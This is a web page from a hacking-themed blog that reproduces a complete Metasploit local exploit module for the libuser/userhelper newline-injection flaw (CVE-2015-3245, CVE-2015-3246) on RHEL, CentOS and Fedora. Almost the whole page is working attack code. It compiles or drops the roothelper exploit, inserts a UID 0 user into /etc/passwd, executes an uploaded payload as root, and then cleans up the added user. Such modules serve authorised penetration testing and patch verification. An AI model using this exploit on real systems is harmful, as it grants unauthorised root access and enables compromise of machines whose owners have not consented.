Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86375995

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Libuser roothelper Privilege Escalation',
      'Description'    => %q{
        This module attempts to gain root privileges on Red Hat based Linux
        systems, including RHEL, Fedora and CentOS, by exploiting a newline
        injection vulnerability in libuser and userhelper versions prior to
        0.56.13-8 and version 0.60 before 0.60-7.

        This module makes use of the roothelper.c exploit from Qualys to
        insert a new user with UID=0 in /etc/passwd.

        Note, the password for the current user is required by userhelper.

        Note, on some systems, such as Fedora 11, the user entry for the
        current user in /etc/passwd will become corrupted and exploitation
        will fail.

        This module has been tested successfully on libuser packaged versions
        0.56.13-4.el6 on CentOS 6.0 (x86_64);
        0.56.13-5.el6 on CentOS 6.5 (x86_64);
        0.60-5.el7 on CentOS 7.1-1503 (x86_64);
        0.56.16-1.fc13 on Fedora 13 (i686);
        0.59-1.fc19 on Fedora Desktop 19 (x86_64);
        0.60-3.fc20 on Fedora Desktop 20 (x86_64);
        0.60-6.fc21 on Fedora Desktop 21 (x86_64);
        0.60-6.fc22 on Fedora Desktop 22 (x86_64);
        0.56.13-5.el6 on Red Hat 6.6 (x86_64); and
        0.60-5.el7 on Red Hat 7.0 (x86_64).

        RHEL 5 is vulnerable, however the installed version of glibc (2.5)
        is missing various functions required by roothelper.c.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Qualys',       # Discovery and C exploit
          'Brendan Coles' # Metasploit
        ],
      'DisclosureDate' => 'Jul 24 2015',
      'Platform'       => [ 'linux' ],
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Targets'        => [[ 'Auto', {} ]],
      'Privileged'     => true,
      'References'     =>
        [
          [ 'AKA', 'roothelper.c' ],
          [ 'EDB', '37706' ],
          [ 'CVE', '2015-3245' ],
          [ 'CVE', '2015-3246' ],
          [ 'BID', '76021' ],
          [ 'BID', '76022' ],
          [ 'URL', 'http://seclists.org/oss-sec/2015/q3/185' ],
          [ 'URL', 'https://access.redhat.com/articles/1537873' ]
        ],
      'DefaultTarget'  => 0))
    register_options [
      OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
      OptString.new('PASSWORD', [ true, 'Password for the current user', '' ]),
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def password
    datastore['PASSWORD'].to_s
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    register_file_for_cleanup path
  end

  def upload_and_chmodx(path, data)
    upload path, data
    cmd_exec "chmod +x '#{path}'"
  end

  def live_compile?
    compile = false

    if datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
      if has_gcc?
        vprint_good 'gcc is installed'
        compile = true
      else
        unless datastore['COMPILE'].eql? 'Auto'
          fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
        end
      end
    end

    compile
  end

  def check
    userhelper_path = '/usr/sbin/userhelper'
    unless setuid? userhelper_path
      vprint_error "#{userhelper_path} is not setuid"
      return CheckCode::Safe
    end
    vprint_good "#{userhelper_path} is setuid"

    unless command_exists? 'script'
      vprint_error "script is not installed. Exploitation will fail."
      return CheckCode::Safe
    end
    vprint_good 'script is installed'

    if cmd_exec('lsattr /etc/passwd').include? 'i'
      vprint_error 'File /etc/passwd is immutable'
      return CheckCode::Safe
    end
    vprint_good 'File /etc/passwd is not immutable'

    glibc_banner = cmd_exec 'ldd --version'
    glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first
    if glibc_version.to_s.eql? ''
      vprint_error 'Could not determine the GNU C library version'
      return CheckCode::Detected
    end

    # roothelper.c requires functions only available since glibc 2.6+
    if glibc_version < Gem::Version.new('2.6')
      vprint_error "GNU C Library version #{glibc_version} is not supported"
      return CheckCode::Safe
    end
    vprint_good "GNU C Library version #{glibc_version} is supported"

    CheckCode::Detected
  end

  def exploit
    if check == CheckCode::Safe
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
    executable_path = "#{base_dir}/#{executable_name}"

    if live_compile?
      vprint_status 'Live compiling exploit on system...'

      # Upload Qualys' roothelper.c exploit:
      # - https://www.exploit-db.com/exploits/37706/
      path = ::File.join Msf::Config.data_directory, 'exploits', 'roothelper', 'roothelper.c'
      fd = ::File.open path, 'rb'
      c_code = fd.read fd.stat.size
      fd.close
      upload "#{executable_path}.c", c_code
      output = cmd_exec "gcc -o #{executable_path} #{executable_path}.c"

      unless output.blank?
        print_error output
        fail_with Failure::Unknown, "#{executable_path}.c failed to compile"
      end

      cmd_exec "chmod +x #{executable_path}"
      register_file_for_cleanup executable_path
    else
      vprint_status 'Dropping pre-compiled exploit on system...'

      # Cross-compiled with:
      # - i486-linux-musl-gcc -o roothelper -static -pie roothelper.c
      path = ::File.join Msf::Config.data_directory, 'exploits', 'roothelper', 'roothelper'
      fd = ::File.open path, 'rb'
      executable_data = fd.read fd.stat.size
      fd.close
      upload_and_chmodx executable_path, executable_data
    end

    # Run roothelper
    timeout = 180
    print_status "Launching roothelper exploit (Timeout: #{timeout})..."
    output = cmd_exec "echo #{password.gsub(/'/, "\\\\'")} | #{executable_path}", nil, timeout
    output.each_line { |line| vprint_status line.chomp }

    if output =~ %r{Creating a backup copy of "/etc/passwd" named "(.*)"}
      register_file_for_cleanup $1
    end

    if output =~ /died in parent: .*.c:517: forkstop_userhelper/
      fail_with Failure::NoAccess, 'Incorrect password'
    end

    @username = nil

    if output =~ /Exploit successful, run "su ([a-z])" to become root/
      @username = $1
    end

    if @username.blank?
      fail_with Failure::Unknown, 'Something went wrong'
    end

    print_good "Success! User '#{@username}' added to /etc/passwd"

    # Upload payload executable
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
    upload_and_chmodx payload_path, generate_payload_exe

    # Execute payload executable
    vprint_status 'Executing payload...'
    cmd_exec "script -c \"su - #{@username} -c #{payload_path}\" | sh & echo "
    register_file_for_cleanup 'typescript'
  end

  #
  # Remove new user from /etc/passwd
  #
  def on_new_session(session)
    new_user_removed = false

    if session.type.to_s.eql? 'meterpreter'
      session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'

      # Remove new user
      session.sys.process.execute '/bin/sh', "-c \"sed -i 's/^#{@username}:.*$//g' /etc/passwd\""

      # Wait for clean up
      Rex.sleep 5

      # Check for new user in /etc/passwd
      passwd_contents = session.fs.file.open('/etc/passwd').read.to_s
      unless passwd_contents =~ /^#{@username}:/
        new_user_removed = true
      end
    elsif session.type.to_s.eql? 'shell'
      # Remove new user
      session.shell_command_token "sed -i 's/^#{@username}:.*$//g' /etc/passwd"

      # Check for new user in /etc/passwd
      passwd_user = session.shell_command_token "grep '#{@username}:' /etc/passwd"
      unless passwd_user =~ /^#{@username}:/
        new_user_removed = true
      end
    end

    unless new_user_removed
      print_warning "Could not remove user '#{@username}' from /etc/passwd"
    end
  rescue => e
    print_error "Error during cleanup: #{e.message}"
  ensure
    super
  end
end